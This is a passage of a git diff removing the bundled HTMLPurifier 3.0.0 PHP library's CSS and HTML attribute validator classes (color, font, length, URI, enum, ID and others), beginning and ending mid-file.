'#008080', - 'black' => '#000000', - 'silver' => '#C0C0C0', - 'gray' => '#808080' - ), 'hash', ' -Lookup array of color names to six digit hexadecimal number corresponding -to color, with preceding hash mark. Used when parsing colors. -This directive has been available since 2.0.0. -'); - -/** - * Validates Color as defined by CSS. - */ -class HTMLPurifier_AttrDef_CSS_Color extends HTMLPurifier_AttrDef -{ - - public function validate($color, $config, $context) { - - static $colors = null; - if ($colors === null) $colors = $config->get('Core', 'ColorKeywords'); - - $color = trim($color); - if ($color === '') return false; - - $lower = strtolower($color); - if (isset($colors[$lower])) return $colors[$lower]; - - if (strpos($color, 'rgb(') !== false) { - // rgb literal handling - $length = strlen($color); - if (strpos($color, ')') !== $length - 1) return false; - $triad = substr($color, 4, $length - 4 - 1); - $parts = explode(',', $triad); - if (count($parts) !== 3) return false; - $type = false; // to ensure that they're all the same type - $new_parts = array(); - foreach ($parts as $part) { - $part = trim($part); - if ($part === '') return false; - $length = strlen($part); - if ($part[$length - 1] === '%') { - // handle percents - if (!$type) { - $type = 'percentage'; - } elseif ($type !== 'percentage') { - return false; - } - $num = (float) substr($part, 0, $length - 1); - if ($num < 0) $num = 0; - if ($num > 100) $num = 100; - $new_parts[] = "$num%"; - } else { - // handle integers - if (!$type) { - $type = 'integer'; - } elseif ($type !== 'integer') { - return false; - } - $num = (int) $part; - if ($num < 0) $num = 0; - if ($num > 255) $num = 255; - $new_parts[] = (string) $num; - } - } - $new_triad = implode(',', $new_parts); - $color = "rgb($new_triad)"; - } else { - // hexadecimal handling - if ($color[0] === '#') { - $hex = substr($color, 1); - } else { - $hex = $color; - $color = '#' . $color; - } - $length = strlen($hex); - if ($length !== 3 && $length !== 6) return false; - if (!ctype_xdigit($hex)) return false; - } - - return $color; - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/Composite.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/Composite.php deleted file mode 100644 index c965069..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/Composite.php +++ /dev/null @@ -1,37 +0,0 @@ -<?php - -/** - * Allows multiple validators to attempt to validate attribute. - * - * Composite is just what it sounds like: a composite of many validators. - * This means that multiple HTMLPurifier_AttrDef objects will have a whack - * at the string. If one of them passes, that's what is returned. This is - * especially useful for CSS values, which often are a choice between - * an enumerated set of predefined values or a flexible data type. - */ -class HTMLPurifier_AttrDef_CSS_Composite extends HTMLPurifier_AttrDef -{ - - /** - * List of HTMLPurifier_AttrDef objects that may process strings - * @todo Make protected - */ - public $defs; - - /** - * @param $defs List of HTMLPurifier_AttrDef objects - */ - public function __construct($defs) { - $this->defs = $defs; - } - - public function validate($string, $config, $context) { - foreach ($this->defs as $i => $def) { - $result = $this->defs[$i]->validate($string, $config, $context); - if ($result !== false) return $result; - } - return false; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/Filter.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/Filter.php deleted file mode 100644 index 61da791..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/Filter.php +++ /dev/null @@ -1,55 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef.php'; -require_once 'HTMLPurifier/AttrDef/Integer.php'; - -/** - * Microsoft's proprietary filter: CSS property - * @note Currently supports the alpha filter. In the future, this will - * probably need an extensible framework - */ -class HTMLPurifier_AttrDef_CSS_Filter extends HTMLPurifier_AttrDef -{ - - protected $intValidator; - - public function __construct() { - $this->intValidator = new HTMLPurifier_AttrDef_Integer(); - } - - public function validate($value, $config, $context) { - $value = $this->parseCDATA($value); - if ($value === 'none') return $value; - // if we looped this we could support multiple filters - $function_length = strcspn($value, '('); - $function = trim(substr($value, 0, $function_length)); - if ($function !== 'alpha' && - $function !== 'Alpha' && - $function !== 'progid:DXImageTransform.Microsoft.Alpha' - ) return false; - $cursor = $function_length + 1; - $parameters_length = strcspn($value, ')', $cursor); - $parameters = substr($value, $cursor, $parameters_length); - $params = explode(',', $parameters); - $ret_params = array(); - $lookup = array(); - foreach ($params as $param) { - list($key, $value) = explode('=', $param); - $key = trim($key); - $value = trim($value); - if (isset($lookup[$key])) continue; - if ($key !== 'opacity') continue; - $value = $this->intValidator->validate($value, $config, $context); - if ($value === false) continue; - $int = (int) $value; - if ($int > 100) $value = '100'; - if ($int < 0) $value = '0'; - $ret_params[] = "$key=$value"; - $lookup[$key] = true; - } - $ret_parameters = implode(',', $ret_params); - $ret_function = "$function($ret_parameters)"; - return $ret_function; - } - -} diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/Font.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/Font.php deleted file mode 100644 index 208bd2e..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/Font.php +++ /dev/null @@ -1,150 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef.php'; - -/** - * Validates shorthand CSS property font. - */ -class HTMLPurifier_AttrDef_CSS_Font extends HTMLPurifier_AttrDef -{ - - /** - * Local copy of component validators. - * - * @note If we moved specific CSS property definitions to their own - * classes instead of having them be assembled at run time by - * CSSDefinition, this wouldn't be necessary. We'd instantiate - * our own copies. - */ - protected $info = array(); - - public function __construct($config) { - $def = $config->getCSSDefinition(); - $this->info['font-style'] = $def->info['font-style']; - $this->info['font-variant'] = $def->info['font-variant']; - $this->info['font-weight'] = $def->info['font-weight']; - $this->info['font-size'] = $def->info['font-size']; - $this->info['line-height'] = $def->info['line-height']; - $this->info['font-family'] = $def->info['font-family']; - } - - public function validate($string, $config, $context) { - - static $system_fonts = array( - 'caption' => true, - 'icon' => true, - 'menu' => true, - 'message-box' => true, - 'small-caption' => true, - 'status-bar' => true - ); - - // regular pre-processing - $string = $this->parseCDATA($string); - if ($string === '') return false; - - // check if it's one of the keywords - $lowercase_string = strtolower($string); - if (isset($system_fonts[$lowercase_string])) { - return $lowercase_string; - } - - $bits = explode(' ', $string); // bits to process - $stage = 0; // this indicates what we're looking for - $caught = array(); // which stage 0 properties have we caught? - $stage_1 = array('font-style', 'font-variant', 'font-weight'); - $final = ''; // output - - for ($i = 0, $size = count($bits); $i < $size; $i++) { - if ($bits[$i] === '') continue; - switch ($stage) { - - // attempting to catch font-style, font-variant or font-weight - case 0: - foreach ($stage_1 as $validator_name) { - if (isset($caught[$validator_name])) continue; - $r = $this->info[$validator_name]->validate( - $bits[$i], $config, $context); - if ($r !== false) { - $final .= $r . ' '; - $caught[$validator_name] = true; - break; - } - } - // all three caught, continue on - if (count($caught) >= 3) $stage = 1; - if ($r !== false) break; - - // attempting to catch font-size and perhaps line-height - case 1: - $found_slash = false; - if (strpos($bits[$i], '/') !== false) { - list($font_size, $line_height) = - explode('/', $bits[$i]); - if ($line_height === '') { - // ooh, there's a space after the slash! - $line_height = false; - $found_slash = true; - } - } else { - $font_size = $bits[$i]; - $line_height = false; - } - $r = $this->info['font-size']->validate( - $font_size, $config, $context); - if ($r !== false) { - $final .= $r; - // attempt to catch line-height - if ($line_height === false) { - // we need to scroll forward - for ($j = $i + 1; $j < $size; $j++) { - if ($bits[$j] === '') continue; - if ($bits[$j] === '/') { - if ($found_slash) { - return false; - } else { - $found_slash = true; - continue; - } - } - $line_height = $bits[$j]; - break; - } - } else { - // slash already found - $found_slash = true; - $j = $i; - } - if ($found_slash) { - $i = $j; - $r = $this->info['line-height']->validate( - $line_height, $config, $context); - if ($r !== false) { - $final .= '/' . $r; - } - } - $final .= ' '; - $stage = 2; - break; - } - return false; - - // attempting to catch font-family - case 2: - $font_family = - implode(' ', array_slice($bits, $i, $size - $i)); - $r = $this->info['font-family']->validate( - $font_family, $config, $context); - if ($r !== false) { - $final .= $r . ' '; - // processing completed successfully - return rtrim($final); - } - return false; - } - } - return false; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/FontFamily.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/FontFamily.php deleted file mode 100644 index 827dd4d..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/FontFamily.php +++ /dev/null @@ -1,66 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef.php'; - -// whitelisting allowed fonts would be nice - -/** - * Validates a font family list according to CSS spec - */ -class HTMLPurifier_AttrDef_CSS_FontFamily extends HTMLPurifier_AttrDef -{ - - public function validate($string, $config, $context) { - static $generic_names = array( - 'serif' => true, - 'sans-serif' => true, - 'monospace' => true, - 'fantasy' => true, - 'cursive' => true - ); - - $string = $this->parseCDATA($string); - // assume that no font names contain commas in them - $fonts = explode(',', $string); - $final = ''; - foreach($fonts as $font) { - $font = trim($font); - if ($font === '') continue; - // match a generic name - if (isset($generic_names[$font])) { - $final .= $font . ', '; - continue; - } - // match a quoted name - if ($font[0] === '"' || $font[0] === "'") { - $length = strlen($font); - if ($length <= 2) continue; - $quote = $font[0]; - if ($font[$length - 1] !== $quote) continue; - $font = substr($font, 1, $length - 2); - // double-backslash processing is buggy - $font = str_replace("\\$quote", $quote, $font); // de-escape quote - $font = str_replace("\\\n", "\n", $font); // de-escape newlines - } - // $font is a pure representation of the font name - - if (ctype_alnum($font)) { - // very simple font, allow it in unharmed - $final .= $font . ', '; - continue; - } - - // complicated font, requires quoting - - // armor single quotes and new lines - $font = str_replace("'", "\\'", $font); - $font = str_replace("\n", "\\\n", $font); - $final .= "'$font', "; - } - $final = rtrim($final, ', '); - if ($final === '') return false; - return $final; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/Length.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/Length.php deleted file mode 100644 index def4737..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/Length.php +++ /dev/null @@ -1,55 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef.php'; -require_once 'HTMLPurifier/AttrDef/CSS/Number.php'; - -/** - * Represents a Length as defined by CSS. - */ -class HTMLPurifier_AttrDef_CSS_Length extends HTMLPurifier_AttrDef -{ - - /** - * Valid unit lookup table. - * @warning The code assumes all units are two characters long. Be careful - * if we have to change this behavior! - */ - protected $units = array('em' => true, 'ex' => true, 'px' => true, 'in' => true, - 'cm' => true, 'mm' => true, 'pt' => true, 'pc' => true); - /** - * Instance of HTMLPurifier_AttrDef_Number to defer number validation to - */ - protected $number_def; - - /** - * @param $non_negative Bool indication whether or not negative values are - * allowed. - */ - public function __construct($non_negative = false) { - $this->number_def = new HTMLPurifier_AttrDef_CSS_Number($non_negative); - } - - public function validate($length, $config, $context) { - - $length = $this->parseCDATA($length); - if ($length === '') return false; - if ($length === '0') return '0'; - $strlen = strlen($length); - if ($strlen === 1) return false; // impossible! - - // we assume all units are two characters - $unit = substr($length, $strlen - 2); - if (!ctype_lower($unit)) $unit = strtolower($unit); - $number = substr($length, 0, $strlen - 2); - - if (!isset($this->units[$unit])) return false; - - $number = $this->number_def->validate($number, $config, $context); - if ($number === false) return false; - - return $number . $unit; - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/ListStyle.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/ListStyle.php deleted file mode 100644 index 722cf05..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/ListStyle.php +++ /dev/null @@ -1,79 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef.php'; - -/** - * Validates shorthand CSS property list-style. - * @warning Does not support url tokens that have internal spaces. - */ -class HTMLPurifier_AttrDef_CSS_ListStyle extends HTMLPurifier_AttrDef -{ - - /** - * Local copy of component validators. - * @note See HTMLPurifier_AttrDef_CSS_Font::$info for a similar impl. - */ - protected $info; - - public function __construct($config) { - $def = $config->getCSSDefinition(); - $this->info['list-style-type'] = $def->info['list-style-type']; - $this->info['list-style-position'] = $def->info['list-style-position']; - $this->info['list-style-image'] = $def->info['list-style-image']; - } - - public function validate($string, $config, $context) { - - // regular pre-processing - $string = $this->parseCDATA($string); - if ($string === '') return false; - - // assumes URI doesn't have spaces in it - $bits = explode(' ', strtolower($string)); // bits to process - - $caught = array(); - $caught['type'] = false; - $caught['position'] = false; - $caught['image'] = false; - - $i = 0; // number of catches - $none = false; - - foreach ($bits as $bit) { - if ($i >= 3) return; // optimization bit - if ($bit === '') continue; - foreach ($caught as $key => $status) { - if ($status !== false) continue; - $r = $this->info['list-style-' . $key]->validate($bit, $config, $context); - if ($r === false) continue; - if ($r === 'none') { - if ($none) continue; - else $none = true; - if ($key == 'image') continue; - } - $caught[$key] = $r; - $i++; - break; - } - } - - if (!$i) return false; - - $ret = array(); - - // construct type - if ($caught['type']) $ret[] = $caught['type']; - - // construct image - if ($caught['image']) $ret[] = $caught['image']; - - // construct position - if ($caught['position']) $ret[] = $caught['position']; - - if (empty($ret)) return false; - return implode(' ', $ret); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/Multiple.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/Multiple.php deleted file mode 100644 index 3488f0b..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/Multiple.php +++ /dev/null @@ -1,59 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef.php'; - -/** - * Framework class for strings that involve multiple values. - * - * Certain CSS properties such as border-width and margin allow multiple - * lengths to be specified. This class can take a vanilla border-width - * definition and multiply it, usually into a max of four. - * - * @note Even though the CSS specification isn't clear about it, inherit - * can only be used alone: it will never manifest as part of a multi - * shorthand declaration. Thus, this class does not allow inherit. - */ -class HTMLPurifier_AttrDef_CSS_Multiple extends HTMLPurifier_AttrDef -{ - - /** - * Instance of component definition to defer validation to. - * @todo Make protected - */ - public $single; - - /** - * Max number of values allowed. - * @todo Make protected - */ - public $max; - - /** - * @param $single HTMLPurifier_AttrDef to multiply - * @param $max Max number of values allowed (usually four) - */ - public function __construct($single, $max = 4) { - $this->single = $single; - $this->max = $max; - } - - public function validate($string, $config, $context) { - $string = $this->parseCDATA($string); - if ($string === '') return false; - $parts = explode(' ', $string); // parseCDATA replaced \r, \t and \n - $length = count($parts); - $final = ''; - for ($i = 0, $num = 0; $i < $length && $num < $this->max; $i++) { - if (ctype_space($parts[$i])) continue; - $result = $this->single->validate($parts[$i], $config, $context); - if ($result !== false) { - $final .= $result . ' '; - $num++; - } - } - if ($final === '') return false; - return rtrim($final); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/Number.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/Number.php deleted file mode 100644 index 3d4028e..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/Number.php +++ /dev/null @@ -1,64 +0,0 @@ -<?php - -/** - * Validates a number as defined by the CSS spec. - */ -class HTMLPurifier_AttrDef_CSS_Number extends HTMLPurifier_AttrDef -{ - - /** - * Bool indicating whether or not only positive values allowed. - */ - protected $non_negative = false; - - /** - * @param $non_negative Bool indicating whether negatives are forbidden - */ - public function __construct($non_negative = false) { - $this->non_negative = $non_negative; - } - - public function validate($number, $config, $context) { - - $number = $this->parseCDATA($number); - - if ($number === '') return false; - if ($number === '0') return '0'; - - $sign = ''; - switch ($number[0]) { - case '-': - if ($this->non_negative) return false; - $sign = '-'; - case '+': - $number = substr($number, 1); - } - - if (ctype_digit($number)) { - $number = ltrim($number, '0'); - return $number ? $sign . $number : '0'; - } - - // Period is the only non-numeric character allowed - if (strpos($number, '.') === false) return false; - - list($left, $right) = explode('.', $number, 2); - - if ($left === '' && $right === '') return false; - if ($left !== '' && !ctype_digit($left)) return false; - - $left = ltrim($left, '0'); - $right = rtrim($right, '0'); - - if ($right === '') { - return $left ? $sign . $left : '0'; - } elseif (!ctype_digit($right)) { - return false; - } - - return $sign . $left . '.' . $right; - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/Percentage.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/Percentage.php deleted file mode 100644 index cf01a72..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/Percentage.php +++ /dev/null @@ -1,42 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef.php'; -require_once 'HTMLPurifier/AttrDef/CSS/Number.php'; - -/** - * Validates a Percentage as defined by the CSS spec. - */ -class HTMLPurifier_AttrDef_CSS_Percentage extends HTMLPurifier_AttrDef -{ - - /** - * Instance of HTMLPurifier_AttrDef_CSS_Number to defer number validation - */ - protected $number_def; - - /** - * @param Bool indicating whether to forbid negative values - */ - public function __construct($non_negative = false) { - $this->number_def = new HTMLPurifier_AttrDef_CSS_Number($non_negative); - } - - public function validate($string, $config, $context) { - - $string = $this->parseCDATA($string); - - if ($string === '') return false; - $length = strlen($string); - if ($length === 1) return false; - if ($string[$length - 1] !== '%') return false; - - $number = substr($string, 0, $length - 1); - $number = $this->number_def->validate($number, $config, $context); - - if ($number === false) return false; - return "$number%"; - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/TextDecoration.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/TextDecoration.php deleted file mode 100644 index 2aea456..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/TextDecoration.php +++ /dev/null @@ -1,36 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef.php'; - -/** - * Validates the value for the CSS property text-decoration - * @note This class could be generalized into a version that acts sort of - * like Enum except you can compound the allowed values. - */ -class HTMLPurifier_AttrDef_CSS_TextDecoration extends HTMLPurifier_AttrDef -{ - - public function validate($string, $config, $context) { - - static $allowed_values = array( - 'line-through' => true, - 'overline' => true, - 'underline' => true - ); - - $string = strtolower($this->parseCDATA($string)); - $parts = explode(' ', $string); - $final = ''; - foreach ($parts as $part) { - if (isset($allowed_values[$part])) { - $final .= $part . ' '; - } - } - $final = rtrim($final); - if ($final === '') return false; - return $final; - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/URI.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/URI.php deleted file mode 100644 index ea1d0ad..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/URI.php +++ /dev/null @@ -1,57 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef/URI.php'; - -/** - * Validates a URI in CSS syntax, which uses url('http://example.com') - * @note While theoretically speaking a URI in a CSS document could - * be non-embedded, as of CSS2 there is no such usage so we're - * generalizing it. This may need to be changed in the future. - * @warning Since HTMLPurifier_AttrDef_CSS blindly uses semicolons as - * the separator, you cannot put a literal semicolon in - * in the URI. Try percent encoding it, in that case. - */ -class HTMLPurifier_AttrDef_CSS_URI extends HTMLPurifier_AttrDef_URI -{ - - public function __construct() { - parent::__construct(true); // always embedded - } - - public function validate($uri_string, $config, $context) { - // parse the URI out of the string and then pass it onto - // the parent object - - $uri_string = $this->parseCDATA($uri_string); - if (strpos($uri_string, 'url(') !== 0) return false; - $uri_string = substr($uri_string, 4); - $new_length = strlen($uri_string) - 1; - if ($uri_string[$new_length] != ')') return false; - $uri = trim(substr($uri_string, 0, $new_length)); - - if (!empty($uri) && ($uri[0] == "'" || $uri[0] == '"')) { - $quote = $uri[0]; - $new_length = strlen($uri) - 1; - if ($uri[$new_length] !== $quote) return false; - $uri = substr($uri, 1, $new_length - 1); - } - - $keys = array( '(', ')', ',', ' ', '"', "'"); - $values = array('\\(', '\\)', '\\,', '\\ ', '\\"', "\\'"); - $uri = str_replace($values, $keys, $uri); - - $result = parent::validate($uri, $config, $context); - - if ($result === false) return false; - - // escape necessary characters according to CSS spec - // except for the comma, none of these should appear in the - // URI at all - $result = str_replace($keys, $values, $result); - - return "url($result)"; - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/Enum.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/Enum.php deleted file mode 100644 index a28b445..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/Enum.php +++ /dev/null @@ -1,66 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef.php'; - -// Enum = Enumerated -/** - * Validates a keyword against a list of valid values. - * @warning The case-insensitive compare of this function uses PHP's - * built-in strtolower and ctype_lower functions, which may - * cause problems with international comparisons - */ -class HTMLPurifier_AttrDef_Enum extends HTMLPurifier_AttrDef -{ - - /** - * Lookup table of valid values. - * @todo Make protected - */ - public $valid_values = array(); - - /** - * Bool indicating whether or not enumeration is case sensitive. - * @note In general this is always case insensitive. - */ - protected $case_sensitive = false; // values according to W3C spec - - /** - * @param $valid_values List of valid values - * @param $case_sensitive Bool indicating whether or not case sensitive - */ - public function __construct( - $valid_values = array(), $case_sensitive = false - ) { - $this->valid_values = array_flip($valid_values); - $this->case_sensitive = $case_sensitive; - } - - public function validate($string, $config, $context) { - $string = trim($string); - if (!$this->case_sensitive) { - // we may want to do full case-insensitive libraries - $string = ctype_lower($string) ? $string : strtolower($string); - } - $result = isset($this->valid_values[$string]); - - return $result ? $string : false; - } - - /** - * @param $string In form of comma-delimited list of case-insensitive - * valid values. Example: "foo,bar,baz". Prepend "s:" to make - * case sensitive - */ - public function make($string) { - if (strlen($string) > 2 && $string[0] == 's' && $string[1] == ':') { - $string = substr($string, 2); - $sensitive = true; - } else { - $sensitive = false; - } - $values = explode(',', $string); - return new HTMLPurifier_AttrDef_Enum($values, $sensitive); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/HTML/Bool.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/HTML/Bool.php deleted file mode 100644 index 486ca85..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/HTML/Bool.php +++ /dev/null @@ -1,29 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef.php'; - -/** - * Validates a boolean attribute - */ -class HTMLPurifier_AttrDef_HTML_Bool extends HTMLPurifier_AttrDef -{ - - protected $name; - public $minimized = true; - - public function __construct($name = false) {$this->name = $name;} - - public function validate($string, $config, $context) { - if (empty($string)) return false; - return $this->name; - } - - /** - * @param $string Name of attribute - */ - public function make($string) { - return new HTMLPurifier_AttrDef_HTML_Bool($string); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/HTML/Color.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/HTML/Color.php deleted file mode 100644 index 14313d5..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/HTML/Color.php +++ /dev/null @@ -1,34 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef.php'; -require_once 'HTMLPurifier/AttrDef/CSS/Color.php'; // for %Core.ColorKeywords - -/** - * Validates a color according to the HTML spec. - */ -class HTMLPurifier_AttrDef_HTML_Color extends HTMLPurifier_AttrDef -{ - - public function validate($string, $config, $context) { - - static $colors = null; - if ($colors === null) $colors = $config->get('Core', 'ColorKeywords'); - - $string = trim($string); - - if (empty($string)) return false; - if (isset($colors[$string])) return $colors[$string]; - if ($string[0] === '#') $hex = substr($string, 1); - else $hex = $string; - - $length = strlen($hex); - if ($length !== 3 && $length !== 6) return false; - if (!ctype_xdigit($hex)) return false; - if ($length === 3) $hex = $hex[0].$hex[0].$hex[1].$hex[1].$hex[2].$hex[2]; - - return "#$hex"; - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/HTML/FrameTarget.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/HTML/FrameTarget.php deleted file mode 100644 index 30eb7da..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/HTML/FrameTarget.php +++ /dev/null @@ -1,33 +0,0 @@ -<?php - -HTMLPurifier_ConfigSchema::define( - 'Attr', 'AllowedFrameTargets', array(), 'lookup', - 'Lookup table of all allowed link frame targets. Some commonly used '. - 'link targets include _blank, _self, _parent and _top. Values should '. - 'be lowercase, as validation will be done in a case-sensitive manner '. - 'despite W3C\'s recommendation. XHTML 1.0 Strict does not permit '. - 'the target attribute so this directive will have no effect in that '. - 'doctype. XHTML 1.1 does not enable the Target module by default, you '. - 'will have to manually enable it (see the module documentation for more details.)' -); - -require_once 'HTMLPurifier/AttrDef/Enum.php'; - -/** - * Special-case enum attribute definition that lazy loads allowed frame targets - */ -class HTMLPurifier_AttrDef_HTML_FrameTarget extends HTMLPurifier_AttrDef_Enum -{ - - public $valid_values = false; // uninitialized value - protected $case_sensitive = false; - - public function __construct() {} - - public function validate($string, $config, $context) { - if ($this->valid_values === false) $this->valid_values = $config->get('Attr', 'AllowedFrameTargets'); - return parent::validate($string, $config, $context); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/HTML/ID.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/HTML/ID.php deleted file mode 100644 index fd0b7aa..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/HTML/ID.php +++ /dev/null @@ -1,120 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef.php'; -require_once 'HTMLPurifier/IDAccumulator.php'; - -HTMLPurifier_ConfigSchema::define( - 'Attr', 'EnableID', false, 'bool', - 'Allows the ID attribute in HTML. This is disabled by default '. - 'due to the fact that without proper configuration user input can '. - 'easily break the validation of a webpage by specifying an ID that is '. - 'already on the surrounding HTML. If you don\'t mind throwing caution to '. - 'the wind, enable this directive, but I strongly recommend you also '. - 'consider blacklisting IDs you use (%Attr.IDBlacklist) or prefixing all '. - 'user supplied IDs (%Attr.IDPrefix). This directive has been available '. - 'since 1.2.0, and when set to true reverts to the behavior of pre-1.2.0 '. - 'versions.' -); -HTMLPurifier_ConfigSchema::defineAlias( - 'HTML', 'EnableAttrID', 'Attr', 'EnableID' -); - -HTMLPurifier_ConfigSchema::define( - 'Attr', 'IDPrefix', '', 'string', - 'String to prefix to IDs. If you have no idea what IDs your pages '. - 'may use, you may opt to simply add a prefix to all user-submitted ID '. - 'attributes so that they are still usable, but will not conflict with '. - 'core page IDs. Example: setting the directive to \'user_\' will result in '. - 'a user submitted \'foo\' to become \'user_foo\' Be sure to set '. - '%HTML.EnableAttrID to true before using '. - 'this. This directive was available since 1.2.0.' -); - -HTMLPurifier_ConfigSchema::define( - 'Attr', 'IDPrefixLocal', '', 'string', - 'Temporary prefix for IDs used in conjunction with %Attr.IDPrefix. If '. - 'you need to allow multiple sets of '. - 'user content on web page, you may need to have a seperate prefix that '. - 'changes with each iteration. This way, seperately submitted user content '. - 'displayed on the same page doesn\'t clobber each other. Ideal values '. - 'are unique identifiers for the content it represents (i.e. the id of '. - 'the row in the database). Be sure to add a seperator (like an underscore) '. - 'at the end. Warning: this directive will not work unless %Attr.IDPrefix '. - 'is set to a non-empty value! This directive was available since 1.2.0.' -); - -HTMLPurifier_ConfigSchema::define( - 'Attr', 'IDBlacklistRegexp', null, 'string/null', - 'PCRE regular expression to be matched against all IDs. If the expression '. - 'is matches, the ID is rejected. Use this with care: may cause '. - 'significant degradation. ID matching is done after all other '. - 'validation. This directive was available since 1.6.0.' -); - -/** - * Validates the HTML attribute ID. - * @warning Even though this is the id processor, it - * will ignore the directive Attr:IDBlacklist, since it will only - * go according to the ID accumulator. Since the accumulator is - * automatically generated, it will have already absorbed the - * blacklist. If you're hacking around, make sure you use load()! - */ - -class HTMLPurifier_AttrDef_HTML_ID extends HTMLPurifier_AttrDef -{ - - // ref functionality disabled, since we also have to verify - // whether or not the ID it refers to exists - - public function validate($id, $config, $context) { - - if (!$config->get('Attr', 'EnableID')) return false; - - $id = trim($id); // trim it first - - if ($id === '') return false; - - $prefix = $config->get('Attr', 'IDPrefix'); - if ($prefix !== '') { - $prefix .= $config->get('Attr', 'IDPrefixLocal'); - // prevent re-appending the prefix - if (strpos($id, $prefix) !== 0) $id = $prefix . $id; - } elseif ($config->get('Attr', 'IDPrefixLocal') !== '') { - trigger_error('%Attr.IDPrefixLocal cannot be used unless '. - '%Attr.IDPrefix is set', E_USER_WARNING); - } - - //if (!$this->ref) { - $id_accumulator =& $context->get('IDAccumulator'); - if (isset($id_accumulator->ids[$id])) return false; - //} - - // we purposely avoid using regex, hopefully this is faster - - if (ctype_alpha($id)) { - $result = true; - } else { - if (!ctype_alpha(@$id[0])) return false; - $trim = trim( // primitive style of regexps, I suppose - $id, - 'A..Za..z0..9:-._' - ); - $result = ($trim === ''); - } - - $regexp = $config->get('Attr', 'IDBlacklistRegexp'); - if ($regexp && preg_match($regexp, $id)) { - return false; - } - - if (/*!$this->ref && */$result) $id_accumulator->add($id); - - // if no change was made to the ID, return the result - // else, return the new id if stripping whitespace made it - // valid, or return false. - return $result ? $id : false; - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/HTML/Length.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/HTML/Length.php deleted file mode 100644 index 32a2b86..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/HTML/Length.php +++ /dev/null @@ -1,43 +0,0 @@ -<?php - -require_once 